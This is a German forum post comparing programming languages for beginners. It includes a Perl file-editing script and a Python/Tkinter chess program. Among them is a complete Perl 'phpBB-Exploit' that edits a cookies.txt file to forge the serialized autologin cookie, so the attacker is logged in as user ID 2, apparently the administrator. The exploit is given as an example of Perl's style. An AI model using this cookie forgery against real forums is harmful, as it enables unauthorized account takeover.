Uffff...
Naja also ausgehend davon dass du weißt was Variablen, Arrays etc sind:
1. Python / Ruby
2. Autoit/ Lua
3. Perl / Php
4. C/ C++/ .Net-Sprachen (VB, C#, ...)
5. ASM (=Assembler)[/B]
Wobei die ersten 2 bzw. 4 Sprachen ähnlich sind,
Perl ist die mit Abstand schwierigste Sprache
von der Lesbarkeit her wenn man diese nicht tiefgründig kennt.
Aber darin werden bevorzugt Exploits geschrieben
mit inside Opcode.
Ziemlich kryptisch, aber irgendwie cool xD
Bsp.:
#!/usr/bin/perl -w
if(@ARGV!=1){print "Usage: $0 <file>\n";exit;}($file)=@ARGV;
open(FILE, $file);
@content=<FILE>;
close(FILE);
open(FILE,">$file");
$line_counter=();
foreach(@content)
{
@data = (split(/\s+/))[0, 2, 3]; # 1., 3., 4. Spalte
#push(@graphvis, [ @data[1, 2] ]);
$line_counter++;
unshift(@data, $line_counter);
print "Neuer Index: ";
$input = <STDIN>;
chomp($input);
push(@data, "\t".$input);
print "\n".join(' ', @data), "\n";
print FILE join(' ', @data), "\n";
}
close(FILE);
phpBB-Exploit (auch Perl)
$file = "/////cookies.txt" ; # path to your cookies.txt
$url = $ARGV[0];
open (FILE , '<'."$file" ) or die ('File does not exist') ; # path to your
cookies.txt file
@cookie= <FILE> ;
close FILE ;
$exploit = "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs ". "%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D";
foreach $i (@cookie)
{
if ($i=~/$url/) {
$i =~ s/a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%2 2%22". "%3Bs%3A6%3A%22userid%22%3Bs%3A(.*?)%3A%22(.*?)%22 %3B%7D/$exploit/;
print "OK\n" ;
}
}
open (FILE , '>'."$file") or die ('Can not write Cookie') ; ;
print FILE @cookie ;
close FILE ;
#greetings to Jubeltrubel,Julien S.,crosbow,XFlorian,Nibble,Trasher and Invi
#thx to Paiserist,PPC^Rebyte and to the unknown discoverer of this bug
#phuket
Python + Ruby können sehr komplex werden.
Aber sind defintiv einfacher zu verstehen und zu warten...
Python Bsp.:
Ein Schach Programm das ich mal begonnen hatte ^^
from Tkinter import *
from thread import*
import Image
import ImageTk
import array
root = Tk()
img_bauer_schwarz = PhotoImage(file="bauer-schwarz.gif")
img_bauer_weiss = PhotoImage(file="bauer-weiss.gif")
img_bg = PhotoImage(file="bg.gif")
class Spielfigur(object):
def __init__(self, pid, startpos, canvas, spieler):
self.pid = pid
self.pos = startpos
self.spieler = spieler
self.canvas = canvas
self.dead = False
if pid == "B" and self.spieler == 'unten':
self.image = canvas.create_image(self.pos, image=img_bauer_weiss, anchor=NW)
elif pid == "B" and self.spieler == 'oben':
self.image = canvas.create_image(self.pos, image=img_bauer_schwarz, anchor=NW)
else:
self.image = 0
def GetPosition(self):
return self.pos
def GetImage(self):
return self.image
def SetPosition(self, new_pos):
self.pos = new_pos
self.canvas.coords(self.image, self.pos)
def AllowedMove(self, previous_pos, new_pos, counter):
bewegung_y = new_pos[1] - previous_pos[1]
if self.spieler == 'oben' and counter%2 == 0:
return False
if self.spieler == 'unten' and counter%2 ==1:
return False
if self.pid == 'B':
if self.spieler == 'oben':
if previous_pos[0] != new_pos[0]:
return False
elif self.spieler == 'unten':
bewegung_y = new_pos[1] - previous_pos[1]
if previous_pos[0] != new_pos[0] or (bewegung_y != -50):
return False
return True
def Kill(self):
if self.dead == False:
if self.image != 0:
self.canvas.delete(self.image)
self.dead = True
def IsDead(self):
return self.dead
class Application:
def __init__(self):
self.clicked_figur = False
self.canvas = Canvas(root, width=400, height=400)
self.canvas.bind("<ButtonPress>", self.click)
self.canvas.bind("<Motion>", self.move)
self.canvas.bind("<ButtonRelease>", self.release)
self.canvas.pack()
self.counter = 0
bg = self.canvas.create_image(0, 0, image=img_bg, anchor=NW)
self.canvas.coords(bg,0,0)
self.spielfiguren = []
spieler_weiss = [
['T', 'P', 'L', 'D', 'K', 'L', 'P', 'T'],
['B' for x in range(8)],
]
for x in range(8):
for y in range(2):
if spieler_weiss[y][x] != "0":
figur = Spielfigur(spieler_weiss[y][x], (x*50, y*50), self.canvas, 'oben')
self.spielfiguren.append(figur)
spieler_schwarz = [
['B' for x in range(8)],
['T', 'P', 'L', 'D', 'K', 'L', 'P', 'T']
]
for x in range(8):
for ty in range(2):
y = ty + 6
if spieler_schwarz[ty][x] != "0":
figur = Spielfigur(spieler_schwarz[ty][x], (x*50, y*50), self.canvas, 'unten')
self.spielfiguren.append(figur)
def KillFigureOnPosition(self, position):
for figur in range(32):
if self.spielfiguren[figur].GetPosition() == position:
print figur
self.spielfiguren[figur].Kill()
def click(self, event):
for figur in range(32):
if self.spielfiguren[figur].IsDead() == False:
pos = self.spielfiguren[figur].GetPosition()
if event.x > pos[0] and event.x < pos[0]+50 and event.y > pos[1] and event.y < pos[1]+50:
self.clicked_figur = figur
self.previous_pos = pos
self.abstand_x = event.x % 50
self.abstand_y = event.y % 50
def move(self, event):
if self.clicked_figur != False:
self.spielfiguren[self.clicked_figur].SetPosition((event.x-self.abstand_x, event.y-self.abstand_y))
def release(self, event):
if self.clicked_figur != False:
pos = self.spielfiguren[self.clicked_figur].GetPosition()
pos = (pos[0]+25, pos[1]+25)
new_pos = (pos[0]- ((pos[0])%50), pos[1] - ((pos[1])%50))
print new_pos
if self.spielfiguren[self.clicked_figur].AllowedMove(self.previous_pos, new_pos, self.counter) \
and self.previous_pos != new_pos:
self.KillFigureOnPosition(new_pos)
self.spielfiguren[self.clicked_figur].SetPosition(new_pos)
self.counter = self.counter+1
else:
self.spielfiguren[self.clicked_figur].SetPosition(self.previous_pos)
self.clicked_figur = False
app = Application()
root.mainloop()
Generell muss man aber bei jeder Sprache
erstmal sich klar machen wie was deklariert wird.
Was gut hilft ist bspw. sich Code-Snippets anzuschauen.
bzw Source Codes.